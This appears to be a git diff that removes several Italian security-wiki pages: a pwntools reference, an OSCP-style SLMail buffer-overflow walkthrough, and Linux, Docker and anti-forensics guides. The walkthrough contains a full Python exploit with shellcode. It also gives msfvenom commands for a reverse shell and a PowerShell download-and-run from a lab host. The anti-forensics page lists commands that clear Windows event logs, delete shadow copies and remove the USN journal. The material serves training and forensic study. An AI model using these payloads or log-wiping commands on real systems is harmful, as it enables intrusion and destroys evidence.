```
**Può selezionare:**
- Numero di byte da mostrare
- Numero di byte per evidenziare il byte per riga
- Salta byte all'inizio
# Pwn pwnstrip
# Pwn scrable
# Pwn shellcraft
Ottieni shellcode
```
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
```
**Può selezionare:**
- shellcode e argomenti per lo shellcode
- File di output
- formato di output
- debug (collega dbg allo shellcode)
- prima (trap di debug prima del codice)
- dopo
- evita di usare opcodes (predefinito: non nullo e nuova riga)
- Esegui lo shellcode
- Colore/senza colore
- elenca le syscalls
- elenca i possibili shellcodes
- Genera ELF come libreria condivisa
# Modello Pwn
Ottieni un modello python
```
pwn template
```
**Può selezionare:** host, porta, utente, password, percorso e silenzioso
# Pwn unhex
Da esadecimale a stringa
```
pwn unhex 686f6c61
```
# Aggiornamento di Pwn
Per aggiornare pwntools
```
pwn update
```
{{#include ../../banners/hacktricks-training.md}}

237
src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md
View File

@ -1,237 +0,0 @@
# Windows Exploiting (Guida di base - livello OSCP)
{{#include ../banners/hacktricks-training.md}}
## **Inizia a installare il servizio SLMail**
## Riavvia il servizio SLMail
Ogni volta che hai bisogno di **riavviare il servizio SLMail** puoi farlo utilizzando la console di Windows:
```
net start slmail
```
![](<../images/image (23) (1).png>)
## Modello di exploit Python molto basilare
```python
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
## **Cambia il font di Immunity Debugger**
Vai su `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
## **Collega il processo a Immunity Debugger:**
**File --> Attach**
![](<../images/image (24) (1) (1).png>)
**E premi il pulsante START**
## **Invia l'exploit e controlla se EIP è influenzato:**
![](<../images/image (25) (1) (1).png>)
Ogni volta che interrompi il servizio, dovresti riavviarlo come indicato all'inizio di questa pagina.
## Crea un pattern per modificare l'EIP
Il pattern dovrebbe essere grande quanto il buffer che hai usato per interrompere il servizio in precedenza.
![](<../images/image (26) (1) (1).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
Cambia il buffer dell'exploit e imposta il pattern e lancia l'exploit.
Dovrebbe apparire un nuovo crash, ma con un indirizzo EIP diverso:
![](<../images/image (27) (1) (1).png>)
Controlla se l'indirizzo era nel tuo pattern:
![](<../images/image (28) (1) (1).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
Sembra che **possiamo modificare l'EIP nell'offset 2606** del buffer.
Controllalo modificando il buffer dell'exploit:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
Con questo buffer l'EIP che si è bloccato dovrebbe puntare a 42424242 ("BBBB")
![](<../images/image (30) (1) (1).png>)
![](<../images/image (29) (1) (1).png>)
Sembra che funzioni.
## Controlla lo spazio per Shellcode all'interno dello stack
600B dovrebbero essere sufficienti per qualsiasi shellcode potente.
Cambiamo il buffer:
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
lancia il nuovo exploit e controlla l'EBP e la lunghezza dello shellcode utile
![](<../images/image (31) (1).png>)
![](<../images/image (32) (1).png>)
Puoi vedere che quando la vulnerabilità viene raggiunta, l'EBP punta allo shellcode e che abbiamo molto spazio per posizionare uno shellcode qui.
In questo caso abbiamo **da 0x0209A128 a 0x0209A2D6 = 430B.** Abbastanza.
## Controlla i caratteri problematici
Cambia di nuovo il buffer:
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
I badchars iniziano da 0x01 perché 0x00 è quasi sempre dannoso.
Esegui ripetutamente l'exploit con questo nuovo buffer eliminando i caratteri che si rivelano inutili:.
Ad esempio:
In questo caso puoi vedere che **non dovresti usare il carattere 0x0A** (niente viene salvato in memoria poiché il carattere è 0x09).
![](<../images/image (33) (1).png>)
In questo caso puoi vedere che **il carattere 0x0D è evitato**:
![](<../images/image (34) (1).png>)
## Trova un JMP ESP come indirizzo di ritorno
Utilizzando:
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
Elencherai **le mappe di memoria**. Cerca qualche DLL che abbia:
- **Rebase: False**
- **SafeSEH: False**
- **ASLR: False**
- **NXCompat: False**
- **OS Dll: True**
![](<../images/image (35) (1).png>)
Ora, all'interno di questa memoria dovresti trovare alcuni byte JMP ESP, per farlo esegui:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
**Quindi, se viene trovata un'indirizzo, scegline uno che non contenga alcun badchar:**
![](<../images/image (36) (1).png>)
**In questo caso, ad esempio: \_0x5f4a358f**\_
## Crea shellcode
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
Se l'exploit non funziona ma dovrebbe (puoi vedere con ImDebg che il shellcode è stato raggiunto), prova a creare altri shellcode (msfvenom con crea shellcode diversi per gli stessi parametri).
**Aggiungi alcuni NOPS all'inizio** del shellcode e usalo insieme all'indirizzo di ritorno per JMP ESP, e completa l'exploit:
```bash
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
> [!WARNING]
> Ci sono shellcode che **si sovrascrivono**, quindi è importante aggiungere sempre alcuni NOP prima dello shellcode
## Migliorare lo shellcode
Aggiungi questi parametri:
```
EXITFUNC=thread -e x86/shikata_ga_nai
```
{{#include ../banners/hacktricks-training.md}}

82
src/forensics/basic-forensic-methodology/README.md
View File

@ -1,82 +0,0 @@
# Metodologia Forense di Base
{{#include ../../banners/hacktricks-training.md}}
## Creazione e Montaggio di un'Immagine
{{#ref}}
../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
{{#endref}}
## Analisi del Malware
Questo **non è necessariamente il primo passo da eseguire una volta ottenuta l'immagine**. Ma puoi utilizzare queste tecniche di analisi del malware in modo indipendente se hai un file, un'immagine del file system, un'immagine della memoria, pcap... quindi è bene **tenere a mente queste azioni**:
{{#ref}}
malware-analysis.md
{{#endref}}
## Ispezione di un'Immagine
Se ti viene fornita un'**immagine forense** di un dispositivo, puoi iniziare **ad analizzare le partizioni, il file-system** utilizzato e **recuperare** potenzialmente **file interessanti** (anche quelli eliminati). Scopri come in:
{{#ref}}
partitions-file-systems-carving/
{{#endref}}
A seconda dei sistemi operativi utilizzati e persino della piattaforma, dovrebbero essere cercati diversi artefatti interessanti:
{{#ref}}
windows-forensics/
{{#endref}}
{{#ref}}
linux-forensics.md
{{#endref}}
{{#ref}}
docker-forensics.md
{{#endref}}
## Ispezione Approfondita di Tipi di File e Software Specifici
Se hai un **file** molto **sospetto**, allora **a seconda del tipo di file e del software** che lo ha creato, potrebbero essere utili diversi **trucchi**.\
Leggi la pagina seguente per scoprire alcuni trucchi interessanti:
{{#ref}}
specific-software-file-type-tricks/
{{#endref}}
Voglio fare una menzione speciale alla pagina:
{{#ref}}
specific-software-file-type-tricks/browser-artifacts.md
{{#endref}}
## Ispezione del Dump di Memoria
{{#ref}}
memory-dump-analysis/
{{#endref}}
## Ispezione Pcap
{{#ref}}
pcap-inspection/
{{#endref}}
## **Tecniche Anti-Forensi**
Tieni a mente il possibile uso di tecniche anti-forensi:
{{#ref}}
anti-forensic-techniques.md
{{#endref}}
## Ricerca di Minacce
{{#ref}}
file-integrity-monitoring.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

151
src/forensics/basic-forensic-methodology/anti-forensic-techniques.md
View File

@ -1,151 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Timestamp
Un attaccante potrebbe essere interessato a **cambiare i timestamp dei file** per evitare di essere rilevato.\
È possibile trovare i timestamp all'interno del MFT negli attributi `$STANDARD_INFORMATION` **e** `$FILE_NAME`.
Entrambi gli attributi hanno 4 timestamp: **Modifica**, **accesso**, **creazione** e **modifica del registro MFT** (MACE o MACB).
**Windows explorer** e altri strumenti mostrano le informazioni da **`$STANDARD_INFORMATION`**.
## TimeStomp - Strumento anti-forense
Questo strumento **modifica** le informazioni sui timestamp all'interno di **`$STANDARD_INFORMATION`** **ma** **non** le informazioni all'interno di **`$FILE_NAME`**. Pertanto, è possibile **identificare** **attività** **sospette**.
## Usnjrnl
Il **USN Journal** (Update Sequence Number Journal) è una funzionalità del NTFS (sistema di file Windows NT) che tiene traccia delle modifiche al volume. Lo strumento [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) consente di esaminare queste modifiche.
![](<../../images/image (449).png>)
L'immagine precedente è l'**output** mostrato dallo **strumento** dove si può osservare che alcune **modifiche sono state effettuate** al file.
## $LogFile
**Tutte le modifiche ai metadati di un file system sono registrate** in un processo noto come [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). I metadati registrati sono conservati in un file chiamato `**$LogFile**`, situato nella directory radice di un file system NTFS. Strumenti come [LogFileParser](https://github.com/jschicht/LogFileParser) possono essere utilizzati per analizzare questo file e identificare le modifiche.
![](<../../images/image (450).png>)
Ancora una volta, nell'output dello strumento è possibile vedere che **alcune modifiche sono state effettuate**.
Utilizzando lo stesso strumento è possibile identificare **a quale ora i timestamp sono stati modificati**:
![](<../../images/image (451).png>)
- CTIME: Ora di creazione del file
- ATIME: Ora di modifica del file
- MTIME: Modifica del registro MFT del file
- RTIME: Ora di accesso del file
## Confronto tra `$STANDARD_INFORMATION` e `$FILE_NAME`
Un altro modo per identificare file modificati sospetti sarebbe confrontare il tempo su entrambi gli attributi cercando **discrepanze**.
## Nanosecondi
I timestamp **NTFS** hanno una **precisione** di **100 nanosecondi**. Quindi, trovare file con timestamp come 2010-10-10 10:10:**00.000:0000 è molto sospetto**.
## SetMace - Strumento anti-forense
Questo strumento può modificare entrambi gli attributi `$STARNDAR_INFORMATION` e `$FILE_NAME`. Tuttavia, a partire da Windows Vista, è necessario un OS live per modificare queste informazioni.
# Nascondere dati
NFTS utilizza un cluster e la dimensione minima delle informazioni. Ciò significa che se un file occupa e utilizza un cluster e mezzo, il **mezzo rimanente non verrà mai utilizzato** fino a quando il file non viene eliminato. Quindi, è possibile **nascondere dati in questo spazio di slack**.
Ci sono strumenti come slacker che consentono di nascondere dati in questo spazio "nascosto". Tuttavia, un'analisi del `$logfile` e del `$usnjrnl` può mostrare che alcuni dati sono stati aggiunti:
![](<../../images/image (452).png>)
Quindi, è possibile recuperare lo spazio di slack utilizzando strumenti come FTK Imager. Nota che questo tipo di strumento può salvare il contenuto offuscato o persino crittografato.
# UsbKill
Questo è uno strumento che **spegnerà il computer se viene rilevata qualsiasi modifica nelle porte USB**.\
Un modo per scoprirlo sarebbe ispezionare i processi in esecuzione e **rivedere ogni script python in esecuzione**.
# Distribuzioni Linux Live
Queste distro sono **eseguite all'interno della memoria RAM**. L'unico modo per rilevarle è **nel caso in cui il file system NTFS sia montato con permessi di scrittura**. Se è montato solo con permessi di lettura, non sarà possibile rilevare l'intrusione.
# Cancellazione sicura
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
# Configurazione di Windows
È possibile disabilitare diversi metodi di registrazione di Windows per rendere l'indagine forense molto più difficile.
## Disabilitare i timestamp - UserAssist
Questa è una chiave di registro che mantiene date e ore in cui ogni eseguibile è stato eseguito dall'utente.
Disabilitare UserAssist richiede due passaggi:
1. Impostare due chiavi di registro, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` e `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, entrambe a zero per segnalare che vogliamo disabilitare UserAssist.
2. Cancellare i sottotree di registro che sembrano `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
## Disabilitare i timestamp - Prefetch
Questo salverà informazioni sulle applicazioni eseguite con l'obiettivo di migliorare le prestazioni del sistema Windows. Tuttavia, questo può essere utile anche per pratiche forensi.
- Eseguire `regedit`
- Selezionare il percorso del file `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
- Fare clic con il tasto destro su `EnablePrefetcher` e `EnableSuperfetch`
- Selezionare Modifica su ciascuno di questi per cambiare il valore da 1 (o 3) a 0
- Riavviare
## Disabilitare i timestamp - Ultimo accesso
Ogni volta che una cartella viene aperta da un volume NTFS su un server Windows NT, il sistema impiega tempo per **aggiornare un campo di timestamp su ciascuna cartella elencata**, chiamato ultimo accesso. Su un volume NTFS molto utilizzato, questo può influire sulle prestazioni.
1. Aprire l'Editor del Registro di sistema (Regedit.exe).
2. Navigare a `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
3. Cercare `NtfsDisableLastAccessUpdate`. Se non esiste, aggiungere questo DWORD e impostare il suo valore su 1, che disabiliterà il processo.
4. Chiudere l'Editor del Registro di sistema e riavviare il server.
## Eliminare la cronologia USB
Tutti i **USB Device Entries** sono memorizzati nel Registro di Windows sotto la chiave di registro **USBSTOR** che contiene sottochiavi create ogni volta che si collega un dispositivo USB al PC o Laptop. Puoi trovare questa chiave qui `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Eliminando questo** eliminerai la cronologia USB.\
Puoi anche utilizzare lo strumento [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) per essere sicuro di averle eliminate (e per eliminarle).
Un altro file che salva informazioni sugli USB è il file `setupapi.dev.log` all'interno di `C:\Windows\INF`. Questo dovrebbe essere eliminato anche.
## Disabilitare le copie shadow
**Elenca** le copie shadow con `vssadmin list shadowstorage`\
**Elimina** eseguendo `vssadmin delete shadow`
Puoi anche eliminarle tramite GUI seguendo i passaggi proposti in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
Per disabilitare le copie shadow [passaggi da qui](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
1. Aprire il programma Servizi digitando "servizi" nella casella di ricerca dopo aver cliccato sul pulsante di avvio di Windows.
2. Dall'elenco, trovare "Volume Shadow Copy", selezionarlo e quindi accedere alle Proprietà facendo clic con il tasto destro.
3. Scegliere Disabilitato dal menu a discesa "Tipo di avvio" e quindi confermare la modifica facendo clic su Applica e OK.
È anche possibile modificare la configurazione di quali file verranno copiati nella copia shadow nel registro `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
## Sovrascrivere file eliminati
- Puoi utilizzare uno **strumento di Windows**: `cipher /w:C` Questo indicherà a cipher di rimuovere qualsiasi dato dallo spazio su disco inutilizzato disponibile all'interno dell'unità C.
- Puoi anche utilizzare strumenti come [**Eraser**](https://eraser.heidi.ie)
## Eliminare i registri eventi di Windows
- Windows + R --> eventvwr.msc --> Espandi "Registri di Windows" --> Fai clic con il tasto destro su ciascuna categoria e seleziona "Cancella registro"
- `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
- `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
## Disabilitare i registri eventi di Windows
- `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
- All'interno della sezione servizi disabilitare il servizio "Windows Event Log"
- `WEvtUtil.exec clear-log` o `WEvtUtil.exe cl`
## Disabilitare $UsnJrnl
- `fsutil usn deletejournal /d c:`
{{#include ../../banners/hacktricks-training.md}}

96
src/forensics/basic-forensic-methodology/docker-forensics.md
View File

@ -1,96 +0,0 @@
# Docker Forensics
{{#include ../../banners/hacktricks-training.md}}
## Modifica del contenitore
Ci sono sospetti che alcuni contenitori docker siano stati compromessi:
```bash
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
```
Puoi facilmente **trovare le modifiche apportate a questo container rispetto all'immagine** con:
```bash
docker diff wordpress
C /var
C /var/lib
C /var/lib/mysql
A /var/lib/mysql/ib_logfile0
A /var/lib/mysql/ib_logfile1
A /var/lib/mysql/ibdata1
A /var/lib/mysql/mysql
A /var/lib/mysql/mysql/time_zone_leap_second.MYI
A /var/lib/mysql/mysql/general_log.CSV
...
```
Nel comando precedente, **C** significa **Cambiato** e **A** significa **Aggiunto**.\
Se scopri che un file interessante come `/etc/shadow` è stato modificato, puoi scaricarlo dal container per controllare attività malevole con:
```bash
docker cp wordpress:/etc/shadow.
```
Puoi anche **confrontarlo con l'originale** eseguendo un nuovo container ed estraendo il file da esso:
```bash
docker run -d lamp-wordpress
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
diff original_shadow shadow
```
Se scopri che **è stato aggiunto un file sospetto** puoi accedere al container e controllarlo:
```bash
docker exec -it wordpress bash
```
## Modifiche alle immagini
Quando ti viene fornita un'immagine docker esportata (probabilmente in formato `.tar`), puoi utilizzare [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) per **estrarre un riepilogo delle modifiche**:
```bash
docker save <image> > image.tar #Export the image to a .tar file
container-diff analyze -t sizelayer image.tar
container-diff analyze -t history image.tar
container-diff analyze -t metadata image.tar
```
Poi, puoi **decomprimere** l'immagine e **accedere ai blob** per cercare file sospetti che potresti aver trovato nella cronologia delle modifiche:
```bash
tar -xf image.tar
```
### Analisi di Base
Puoi ottenere **informazioni di base** dall'immagine eseguendo:
```bash
docker inspect <image>
```
Puoi anche ottenere un riepilogo **storia delle modifiche** con:
```bash
docker history --no-trunc <image>
```
Puoi anche generare un **dockerfile da un'immagine** con:
```bash
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
```
### Dive
Per trovare file aggiunti/modificati nelle immagini docker puoi anche utilizzare il [**dive**](https://github.com/wagoodman/dive) (scaricalo da [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)):
```bash
#First you need to load the image in your docker repo
sudo docker load < image.tar 1 ⨯
Loaded image: flask:latest
#And then open it with dive:
sudo dive flask:latest
```
Questo ti consente di **navigare attraverso i diversi blob delle immagini docker** e controllare quali file sono stati modificati/aggiunti. **Rosso** significa aggiunto e **giallo** significa modificato. Usa **tab** per passare alla vista successiva e **space** per comprimere/aprire le cartelle.
Con die non sarai in grado di accedere al contenuto dei diversi stadi dell'immagine. Per farlo, dovrai **decomprimere ogni strato e accedervi**.\
Puoi decomprimere tutti gli strati di un'immagine dalla directory in cui l'immagine è stata decompressa eseguendo:
```bash
tar -xf image.tar
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
```
## Credenziali dalla memoria
Nota che quando esegui un container docker all'interno di un host **puoi vedere i processi in esecuzione sul container dall'host** semplicemente eseguendo `ps -ef`
Pertanto (come root) puoi **dumpare la memoria dei processi** dall'host e cercare **credenziali** proprio [**come nel seguente esempio**](../../linux-hardening/privilege-escalation/index.html#process-memory).
{{#include ../../banners/hacktricks-training.md}}

26
src/forensics/basic-forensic-methodology/file-integrity-monitoring.md
View File

@ -1,26 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Baseline
Una baseline consiste nel prendere uno snapshot di alcune parti di un sistema per **confrontarlo con uno stato futuro per evidenziare le modifiche**.
Ad esempio, puoi calcolare e memorizzare l'hash di ciascun file del filesystem per poter scoprire quali file sono stati modificati.\
Questo può essere fatto anche con gli account utente creati, i processi in esecuzione, i servizi in esecuzione e qualsiasi altra cosa che non dovrebbe cambiare molto, o affatto.
## File Integrity Monitoring
Il File Integrity Monitoring (FIM) è una tecnica di sicurezza critica che protegge gli ambienti IT e i dati tracciando le modifiche ai file. Comporta due passaggi chiave:
1. **Baseline Comparison:** Stabilire una baseline utilizzando attributi dei file o checksum crittografici (come MD5 o SHA-2) per confronti futuri per rilevare modifiche.
2. **Real-Time Change Notification:** Ricevere avvisi istantanei quando i file vengono accessi o modificati, tipicamente attraverso estensioni del kernel del sistema operativo.
## Tools
- [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
- [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
## References
- [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
{{#include ../../banners/hacktricks-training.md}}

370
src/forensics/basic-forensic-methodology/linux-forensics.md
View File

@ -1,370 +0,0 @@
# Linux Forensics
{{#include ../../banners/hacktricks-training.md}}
## Raccolta Iniziale di Informazioni
### Informazioni di Base
Prima di tutto, è consigliato avere una **USB** con **binaries e librerie ben noti** (puoi semplicemente prendere ubuntu e copiare le cartelle _/bin_, _/sbin_, _/lib,_ e _/lib64_), poi monta la USB e modifica le variabili di ambiente per utilizzare quei binaries:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
Una volta configurato il sistema per utilizzare binari buoni e noti, puoi iniziare a **estrarre alcune informazioni di base**:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
ifconfig -a || ip a #Network interfaces (promiscuous mode?)
ps -ef #Running processes
netstat -anp #Proccess and ports
lsof -V #Open files
netstat -rn; route #Routing table
df; mount #Free space and mounted devices
free #Meam and swap space
w #Who is connected
last -Faiwx #Logins
lsmod #What is loaded
cat /etc/passwd #Unexpected data?
cat /etc/shadow #Unexpected data?
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
```
#### Informazioni sospette
Mentre ottieni le informazioni di base, dovresti controllare cose strane come:
- **I processi root** di solito vengono eseguiti con PIDS bassi, quindi se trovi un processo root con un PID elevato potresti sospettare
- Controlla i **login registrati** degli utenti senza una shell all'interno di `/etc/passwd`
- Controlla gli **hash delle password** all'interno di `/etc/shadow` per gli utenti senza una shell
### Dump della memoria
Per ottenere la memoria del sistema in esecuzione, è consigliato utilizzare [**LiME**](https://github.com/504ensicsLabs/LiME).\
Per **compilarlo**, devi utilizzare lo **stesso kernel** che la macchina vittima sta utilizzando.
> [!NOTE]
> Ricorda che **non puoi installare LiME o qualsiasi altra cosa** nella macchina vittima poiché apporterà diverse modifiche ad essa
Quindi, se hai una versione identica di Ubuntu puoi usare `apt-get install lime-forensics-dkms`\
In altri casi, devi scaricare [**LiME**](https://github.com/504ensicsLabs/LiME) da github e compilarlo con i corretti header del kernel. Per **ottenere gli header esatti del kernel** della macchina vittima, puoi semplicemente **copiare la directory** `/lib/modules/<kernel version>` sulla tua macchina, e poi **compilare** LiME utilizzandoli:
```bash
make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
```
LiME supporta 3 **formati**:
- Raw (ogni segmento concatenato insieme)
- Padded (stesso del raw, ma con zeri nei bit a destra)
- Lime (formato raccomandato con metadati)
LiME può anche essere utilizzato per **inviare il dump tramite rete** invece di memorizzarlo sul sistema utilizzando qualcosa come: `path=tcp:4444`
### Imaging del disco
#### Spegnimento
Prima di tutto, è necessario **spegnere il sistema**. Questo non è sempre un'opzione poiché a volte il sistema sarà un server di produzione che l'azienda non può permettersi di spegnere.\
Ci sono **2 modi** per spegnere il sistema, un **spegnimento normale** e uno **spegnimento "stacca la spina"**. Il primo permetterà ai **processi di terminare come al solito** e al **filesystem** di essere **synchronizzato**, ma permetterà anche al possibile **malware** di **distruggere le prove**. L'approccio "stacca la spina" può comportare **alcuna perdita di informazioni** (non molte informazioni andranno perse poiché abbiamo già preso un'immagine della memoria) e il **malware non avrà alcuna opportunità** di fare qualcosa al riguardo. Pertanto, se **sospetti** che ci possa essere un **malware**, esegui semplicemente il **comando** **`sync`** sul sistema e stacca la spina.
#### Prendere un'immagine del disco
